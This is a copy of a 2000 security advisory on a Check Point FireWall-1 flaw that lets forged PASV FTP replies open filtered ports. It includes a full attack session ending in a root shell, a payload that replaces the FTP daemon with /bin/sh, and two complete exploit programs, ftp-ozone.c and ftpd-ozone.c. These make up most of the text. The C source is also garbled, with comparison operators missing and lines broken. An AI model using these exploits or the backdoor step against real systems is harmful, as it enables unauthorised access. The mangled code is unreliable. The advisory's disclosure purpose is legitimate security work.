Firewall-1 Allows Unauthorized TCP Connections

 
Firewall-1 Allows Unauthorized TCP Connections

Reported Feburary 9, 2000 by
John McDonald and Thomas Lopatic

VERSIONS AFFECTED
Checkpoint Technologies" Firewall-1 v3 and v4
  • Possibly other Firewalls that support PASV FTP
  • DESCRIPTION

    It is possible to cause Firewall-1 to open an unauthorized TCP ports by manipulating PASV FTP packets. The following is the complete reports as posted by the discoverers.

    ===================

    The basic idea of the described attack is to subvert the security
    policy implemented by a stateful firewall. This is done by triggering
    the generation of a TCP packet that, when inspected by the firewall,
    will change the firewall"s internal state such that an attacker is
    able to establish a TCP connection to a filtered port through the
    firewall. This packet is the server response to a PASV user request
    during a FTP session.

    We have also come across this attack, and were in the process of
    preparing a more comprehensive advisory, including other FireWall-1
    security issues we have documented. The idea was to notify Check Point
    of these problems and give them time to develop a software update.
    However, since the general form of this vulnerability was
    independently documented by Mikael Olsson and published to the
    vuln-dev mailing list, we feel it is appropriate to distribute this
    information now, as it relates specifically to FireWall-1, in order
    to alert potential victims to this issue.

    Description
    -----------

    Check Point FireWall-1 is vulnerable to an attack involving the
    stateful support for the FTP protocol, specifically the handling of
    the PASV command. Typically, a user will send an FTP server the PASV command, and the response from the FTP server will be the 227 message specifying to which destination IP address and destination port the client is expected to connect for the next data connection.

    FireWall-1 monitors the packets sent from the FTP server to the
    client, looking for the string "227 " at the beginning of each packet. Upon a match, FireWall-1 will extract the destination IP address and the destination port given in the packet payload, verify that the specified IP address corresponds to the source address of the packet, and allow an incoming TCP connection through the firewall according to the destination IP address and the destination port extracted from the datagram.

    There are several restrictions on this connection which limit its utility. Data can only travel in one direction and it cannot be to a port that is listed in FireWall-1"s list of well-known TCP services. It is important to note that FireWall-1 version 3 does not have this limitation, connections can be made to any port, and the flow of data is not managed.

    In order to trick FireWall-1 into allowing a connection to a port on the FTP server, we must have the server send the "227 " string as the first four bytes in a packet that, according to its source port, belongs to a FTP control connection. We can typically accomplish this by using the error handler of the FTP daemon, in conjunction with limiting the MSS of our TCP connection. This is easy to do by setting the MTU of our interface to a small value we can work with, before we establish a control connection to the victim FTP server. This causes the return packets from the server to be smaller, allowing us to control more easily how data is split into packets. Thus, we can make the "227 " message returned by the error handler appear at the beginning of a packet. Another way to accomplish this would be to ACK up to the message we want to receive, and then have the server retransmit the data we want to be contained in an isolated packet.

    Here is an example of an attack based on this technique. There is a FireWall-1 machine between gumpe and the 172.16.0.2 server, which only permits incoming FTP connections. 172.16.0.2 is a default Solaris 2.6 install, with the Tooltalk Database vulnerability. We send the datagram directly to the service"s TCP port, in spite of this port being blocked by the firewall. Note that since there is no response expected, the one-way restriction doesn"t affect this attack.

    All of our testing was done on a Nokia IPSO machine running FW-1 version 4.0.SP-4.

    \[[email protected] /root\]# strings hackfile
    localhost
    """"3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f
    /usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd
    \[[email protected] /root\]# /sbin/ifconfig eth0 mtu 100
    \[[email protected] /root\]# nc -vvv 172.16.0.2 21
    172.16.0.2: inverse host lookup failed:
    (UNKNOWN) \[172.16.0.2\] 21 (?) open
    220 sol FTP server (SunOS 5.6) ready.
    ...........................................227 (172,16,0,2,128,7)
    500 "...........................................
    \[1\]+ Stopped nc -vvv 172.16.0.2 21
    \[[email protected] /root\]# cat killfile | nc -vv 172.16.0.2 32775
    172.16.0.2: inverse host lookup failed:
    (UNKNOWN) \[172.16.0.2\] 32775 (?) open
    sent 80, rcvd 0
    \[[email protected] /root\]# nc -vvv 172.16.0.2 21
    172.16.0.2: inverse host lookup failed:
    (UNKNOWN) \[172.16.0.2\] 21 (?) open
    220 sol FTP server (SunOS 5.6) ready.
    ...........................................227 (172,16,0,2,128,7)
    500 "...........................................
    \[2\]+ Stopped nc -vvv 172.16.0.2 21
    \[[email protected] /root\]# cat hackfile | nc -vv 172.16.0.2 32775
    172.16.0.2: inverse host lookup failed:
    (UNKNOWN) \[172.16.0.2\] 32775 (?) open
    sent 1168, rcvd 0
    \[[email protected] /root\]# nc -vvv 172.16.0.2 21
    172.16.0.2: inverse host lookup failed:
    (UNKNOWN) \[172.16.0.2\] 21 (?) open
    id
    uid=0(root) gid=0(root)

    There is an easier way to perform a similar attack on this setup, since the default Solaris FTP daemon allows a bounce attack, but this should suffice to demonstrate the potential severity of this problem.

    Summary
    -------

    If you have a FTP server behind a FireWall-1, it is possible for an attacker to open TCP connections to certain ports on the machine, and perform limited communication with those services. If you are running FireWall-1 version 3, you should consider your FTP server to have no TCP filtering. Solving this problem is inherently difficult, but there are simple steps to take to minimize this risk. If the machine is properly hardened, i.e. if there are no services available on it, apart from FTP, this makes this vulnerability have little significance.

    You can also disable the PASV handling in the FireWall-1 GUI. However, this breaks your configuration for passive FTP clients.

    DEMONSTRATION

    /*
    ftp-ozone.c

    Demonstrate a basic layer violation in "stateful" firewall
    inspection of application data (within IP packets - @#[email protected]#$!):

    http://www.checkpoint.com/techsupport/alerts/pasvftp.html

    Dug Song <[email protected]>
    */

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <signal.h>
    #include <setjmp.h>

    #define PAD_LEN        128    /* XXX - anything on BSD, but Linux is weird */

    #define GREEN         "\033\[0m\033\[01m\033\[32m"
    #define OFF        "\033\[0m"

    jmp_buf env_buf;

    void
    usage(void)
    \{
    fprintf(stderr, "Usage: ftp-ozone \[-w win\] <ftp-server>
    <port-to-open>\n");
    exit(1);
    \}

    u_long
    resolve_host(char *host)
    \{
    u_long addr;
    struct hostent *hp;

    if (host NULL) return (0);

    if ((addr = inet_addr(host))

    -1) \{
    if ((hp = gethostbyname(host))

    NULL)
    return (0);
    memcpy((char *)&addr, hp->h_addr, sizeof(addr));
    \}
    return (addr);
    \}

    #define UC(b)    (((int)b)&0xff)

    int
    ftp_pasv_reply(char *buf, int size, u_long ip, u_short port)
    \{
    char *p, *q;

    port = htons(port);
    p = (char *)&ip;
    q = (char *)&port;

    return (snprintf(buf, size, "227 (%d,%d,%d,%d,%d,%d)\r\n",
            UC(p\[0\]), UC(p\[1\]), UC(p\[2\]), UC(p\[3\]),
            UC(q\[0\]), UC(q\[1\])));
    \}

    void handle_timeout(int sig)
    \{
    alarm(0);
    longjmp(env_buf, 1);
    \}

    void
    read_server_loop(int fd, int timeout, int pretty)
    \{
    char buf\[2048\];
    int rlen;

    if (!setjmp(env_buf)) \{
    signal(SIGALRM, handle_timeout);
    alarm(timeout);
    for (;;) \{
    if ((rlen = read(fd, buf, sizeof(buf)))

    -1)
        break;
    if (pretty) \{
        buf\[rlen\] = "\0";
        if (strncmp(buf, "227 ", 4)

    0)
        printf("\[" GREEN "%s" OFF "\]\n", buf);
        else printf("\[%s\]\n", buf);
    \}
    else write(0, buf, rlen);
    \}
    alarm(0);
    \}
    \}

    int
    main(int argc, char *argv\[\])
    \{
    int c, fd, win, len;
    u_long dst;
    u_short dport;
    struct sockaddr_in sin;
    char buf\[1024\];

    win = PAD_LEN;

    while ((c = getopt(argc, argv, "w:h?")) != -1) \{
    switch (c) \{
    case "w":
    if ((win = atoi(optarg))

    0)
        usage();
    break;
    default:
    usage();
    \}
    \}
    argc -= optind;
    argv += optind;

    if (argc != 2)
    usage();

    if ((dst = resolve_host(argv\[0\]))

    0)
    usage();

    if ((dport = atoi(argv\[1\]))

    0)
    usage();

    /* Connect to FTP server. */
    memset(&sin, 0, sizeof(sin));
    sin.sin_addr.s_addr = dst;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(21);

    if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))

    -1) \{
    perror("socket");
    exit(1);
    \}
    if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win))

    -1) \{
    perror("setsockopt");
    exit(1);
    \}
    if (connect(fd, (struct sockaddr *)&sin, sizeof(sin))

    -1) \{
    perror("connect");
    exit(1);
    \}
    read_server_loop(fd, 10, 0);

    /* Send padding. */
    len = win - 5;     /* XXX - "500 "" */
    memset(buf, ".", len);

    if (write(fd, buf, len) != len) \{
    perror("write");
    exit(1);
    \}
    /* Send faked reply. */
    len = ftp_pasv_reply(buf, sizeof(buf), dst, dport);

    if (write(fd, buf, len) != len) \{
    perror("write");
    exit(1);
    \}
    read_server_loop(fd, 5, 1);

    printf("\[ now try connecting to %s %d \]\n", argv\[0\], dport);

    for (;;) \{
    ;
    \}
    /* NOTREACHED */

    exit(0);
    \}

    /* w00w00. */

    THE SAME THING, ONLY DIFFERENT <g>

    /*
    ftpd-ozone.c

      Demonstrate the FTP reverse firewall penetration technique
      outlined by Mikael Olsson, EnterNet Sweden AB.
      
        Tested against Netscape, Microsoft IE, Lynx, Wget. YMMV.
        
          Copyright (c) 2000 Dug Song <[email protected]>
    */

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <arpa/telnet.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>

    #define WINDOW_LEN 42
    #define FTPD_PORT 21

    #define GREEN "\033\[0m\033\[01m\033\[32m"
    #define OFF "\033\[0m"

    #define int_ntoa(x) (inet_ntoa(*(struct in_addr *)&x))

    void
    usage(void)
    \{
      fprintf(stderr, "Usage: ftpd-ozone \[-w win\] <ftp-client> <port-to-open>\n");
      exit(1);
    \}

    /* Strip telnet options, as well as suboption data. */
    int
    strip_telopts(u_char *buf, int len)
    \{
      int i, j, subopt = 0;
      char *p;
      
      for (i = j = 0; i < len; i++) \{
        if (buf\[i\]

    IAC) \{
          if (++i >= len) break;
          else if (buf\[i\] > SB)
            i++;
          else if (buf\[i\]

    SB) \{
            p = buf + i + 1;
            subopt = 1;
          \}
          else if (buf\[i\]

    SE) \{
            if (!subopt) j = 0;
            subopt = 0;
          \}
        \}
        else if (!subopt) \{
          /* XXX - convert isolated carriage returns to newlines. */
          if (buf\[i\]

    "\r" && i + 1 < len && buf\[i + 1\] != "\n")
            buf\[j++\] = "\n";
          /* XXX - strip binary nulls. */
          else if (buf\[i\] != "\0")
            buf\[j++\] = buf\[i\];
        \}
      \}
      buf\[j\] = "\0";
      
      return (j);
    \}

    u_long
    resolve_host(char *host)
    \{
      u_long addr;
      struct hostent *hp;
      
      if (host

    NULL) return (0);
      
      if ((addr = inet_addr(host))

    -1) \{
        if ((hp = gethostbyname(host))

    NULL)
          return (0);
        memcpy((char *)&addr, hp->h_addr, sizeof(addr));
      \}
      return (addr);
    \}

    #define UC(b) (((int)b)&0xff)

    int
    portnum2str(char *buf, int size, u_long ip, u_short port)
    \{
      char *p, *q;
      
      port = htons(port);
      p = (char *)&ip;
      q = (char *)&port;
      
      return (snprintf(buf, size, "%d,%d,%d,%d,%d,%d",
        UC(p\[0\]), UC(p\[1\]), UC(p\[2\]), UC(p\[3\]),
        UC(q\[0\]), UC(q\[1\])));
    \}

    int
    portstr2num(char *str, u_long *dst, u_short *dport)
    \{
      int a0, a1, a2, a3, p0, p1;
      char *a, *p;
      
      if (str\[0\]

    "(") str++;
      strtok(str, ")\r\n");
      
      if (sscanf(str, "%d,%d,%d,%d,%d,%d", &a0, &a1, &a2, &a3, &p0, &p1) != 6)
        return (-1);
      
      a = (char *)dst;
      a\[0\] = a0 & 0xff; a\[1\] = a1 & 0xff; a\[2\] = a2 & 0xff; a\[3\] = a3 & 0xff;
      
      p = (char *)dport;
      p\[0\] = p0 & 0xff; p\[1\] = p1 & 0xff;
      
      *dport = ntohs(*dport);
      
      return (0);
    \}

    void
    print_urls(u_long dst, u_short dport, int win)
    \{
      char *p, host\[128\], tmp\[128\];
      u_long ip;
      
      gethostname(host, sizeof(host));
      ip = resolve_host(host);
      strncpy(host, int_ntoa(ip), sizeof(host));
      
      /* XXX - "MDTM /\r\n" for Netscape, "CWD /\r\n" for MSIE. i suk. */
      win -= (4 + 2 + 2);
      p = malloc(win + 1);
      memset(p, "a", win);
      p\[win\] = "\0";
      
      portnum2str(tmp, sizeof(tmp), dst, dport);
      
      printf("Netscape / Lynx URL to send client at %s:\n"
        "ftp://%s/%s%%%0dPORT%%20%s\n",
        int_ntoa(dst), host, p, tmp);
      printf("MSIE / Wget URL to send client at %s:\n"
        "ftp://%s/a%s%%%0dPORT%%20%s\n",
        int_ntoa(dst), host, p, tmp);
      
      free(p);
    \}

    int
    init_ftpd(int port, int win)
    \{
      int fd, i = 1;
      struct sockaddr_in sin;
      
      if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))

    -1)
        return (-1);
      
      if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i))

    -1)
        return (-1);
      
      if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win))

    -1)
        return (-1);
      
      memset(&sin, 0, sizeof(sin));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = htonl(INADDR_ANY);
      sin.sin_port = htons(port);
      
      if (bind(fd, (struct sockaddr *)&sin, sizeof(sin))

    -1)
        return (-1);
      if (listen(fd, 10)

    -1)
        return (-1);
      
      return (fd);
    \}

    void
    do_ftpd(int fd)
    \{
      FILE *f;
      char buf\[1024\];
      int len, portcmd = 0;
      u_long ip;
      u_short port;
      
      if ((f = fdopen(fd, "r+"))

    NULL)
        return;
      
      fprintf(f, "220 ftpd-ozone ready for love.\r\n");
      
      while (fgets(buf, sizeof(buf), f) != NULL) \{
        if ((len = strip_telopts(buf, strlen(buf)))

    0)
          continue;
        
        if (strncasecmp(buf, "SYST", 4)

    0) \{
          fprintf(f, "215 ftpd-ozone\r\n");
        \}
        else if (strncasecmp(buf, "USER ", 5)

    0) \{
          fprintf(f, "331 yo there\r\n");
        \}
        else if (strncasecmp(buf, "PASS ", 5)

    0) \{
          fprintf(f, "230 sucker\r\n");
        \}
        else if (strncasecmp(buf, "PWD", 3)

    0) \{
          fprintf(f, "257 \"/\" is current directory\r\n");
        \}
        else if (strncasecmp(buf, "PASV", 4)

    0) \{
          fprintf(f, "502 try PORT instead ;-)\r\n");
          /*fprintf(f, "425 try PORT instead ;-)\r\n");*/
        \}
        else if (strncasecmp(buf, "PORT ", 5)

    0) \{
          if (portstr2num(buf + 5, &ip, &port) != 0)
            fprintf(f, "500 you suk\r\n");
          else \{
            fprintf(f, "200 ready for love\r\n");
            if (portcmd++ < 2) /* XXX */
              printf(GREEN "try connecting to %s %d" OFF "\n", int_ntoa(ip), port);
          \}
        \}
        else if (strncasecmp(buf, "CWD ", 4)

    0 ||
         strncasecmp(buf, "TYPE ", 5)

    0) \{
          fprintf(f, "200 whatever\r\n");
        \}
        else if (strncasecmp(buf, "NLST", 4)

    0) \{
          fprintf(f, "550 you suk\r\n");
        \}
        else if (strncasecmp(buf, "MDTM ", 5)

    0) \{
          fprintf(f, "213 19960319165527\r\n");
        \}
        else if (strncasecmp(buf, "RETR ", 5)

    0 ||
         strncasecmp(buf, "LIST", 4)

    0) \{
          fprintf(f, "150 walking thru your firewall\r\n");
        \}
        else if (strncasecmp(buf, "QUIT", 4)

    0) \{
          fprintf(f, "221 l8r\r\n");
          break;
        \}
        else fprintf(f, "502 i suk\r\n");
      \}
      fclose(f);
    \}

    int
    main(int argc, char *argv\[\])
    \{
      int c, sfd, cfd;
      u_long dst;
      u_short dport, win = WINDOW_LEN;
      struct sockaddr_in sin;
      
      while ((c = getopt(argc, argv, "w:h?")) != -1) \{
        switch (c) \{
        case "w":
          if ((win = atoi(optarg))

    0)
            usage();
          break;
        default:
          usage();
        \}
      \}
      argc -= optind;
      argv += optind;
      
      if (argc != 2)
        usage();
      
      if ((dst = resolve_host(argv\[0\]))

    0)
        usage();
      
      if ((dport = atoi(argv\[1\]))

    0)
        usage();
      
      if ((sfd = init_ftpd(FTPD_PORT, win))

    -1) \{
        perror("init_ftpd");
        exit(1);
      \}
      print_urls(dst, dport, win);
      
      for (;;) \{
        c = sizeof(sin);
        if ((cfd = accept(sfd, (struct sockaddr *)&sin, &c))

    -1) \{
          perror("accept");
          exit(1);
        \}
        printf("connection from %s\n", inet_ntoa(sin.sin_addr));
        
        if (fork()

    0) \{
          close(sfd);
          do_ftpd(cfd);
          close(cfd);
          exit(0);
        \}
        close(cfd);
      \}
      exit(0);
    \}

    /* w00w00! */

    VENDOR RESPONSE

    According to technical support at Checkpoint Technologies, "Checkpoint is working on determining the extent of this potential problem and have not yet released an official stance that I am aware of.

    As mentioned in the report above, "A suitable solution may be to remove handling of PASV ftp. This can be accomplished via the FireWall-1 GUI. In addition, on a properly secured machine with no services other than FTP running, this attack has little impact."

    CREDITS
    Discovered by John McDonald and Thomas Lopatic

    Hide comments

    Comments

    • Allowed HTML tags: <em> <strong> <blockquote> <br> <p>

    Plain text

    • No HTML tags allowed.
    • Web page addresses and e-mail addresses turn into links automatically.
    • Lines and paragraphs break automatically.
    Publish